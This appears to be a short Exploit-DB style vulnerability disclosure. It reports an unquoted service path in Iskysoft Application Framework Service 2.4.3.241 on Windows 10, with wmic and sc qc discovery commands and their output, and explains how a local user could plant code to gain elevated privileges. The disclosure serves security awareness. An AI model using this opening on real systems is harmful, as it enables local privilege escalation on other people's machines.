# Exploit Title: Iskysoft Application Framework Service 2.4.3.241 - 'IsAppService' Unquoted Service Path# Discovery by: Alejandro Reyes# Discovery Date: 2020-03-05# Vendor Homepage: https://www.iskysoft.us# Software Link : https://www.iskysoft.us/lp/filmora-video-editor/?gclid=EAIaIQobChMIo-WL-Z6h5wIVwR0YCh3O7QYsEAAYAiAAEgJ_m_D_BwE# Tested Version: 2.4.3.241# Vulnerability Type: Unquoted Service Path# Tested on OS: Windows 10 Home x64 # Step to discover Unquoted Service Path:
C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto"| findstr /i /v "C:\Windows\\"| findstr "Iskysoft"| findstr /i /v """
Iskysoft Application Framework Service IsAppServiceC:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exeAuto
# Service info:
C:\WINDOWS\system32>sc qc "IsAppService"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: IsAppService
TYPE : 10WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL: 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exe
LOAD_ORDER_GROUP :
TAG: 0
DISPLAY_NAME : Iskysoft Application Framework Service
DEPENDENCIES : RPCSS
# Exploit:# A successful attempt would require the local user to be able to insert their code in the # system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local # user's code would execute with the elevated privileges of the application.
